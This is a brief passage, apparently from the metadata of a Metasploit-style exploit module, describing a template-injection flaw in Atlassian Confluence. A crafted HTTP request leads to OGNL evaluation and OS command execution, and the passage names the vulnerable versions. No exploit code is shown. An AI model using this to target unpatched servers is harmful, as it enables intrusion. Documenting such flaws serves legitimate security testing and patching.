'Name' => 'Atlassian Confluence SSTI Injection',
'Description' => %q{
This module exploits an SSTI injection in Atlassian Confluence servers. A specially crafted HTTP request uses
the injection to evaluate an OGNL expression resulting in OS command execution.
Versions 8.5.0 through 8.5.3 and 8.0 to 8.4 are known to be vulnerable.
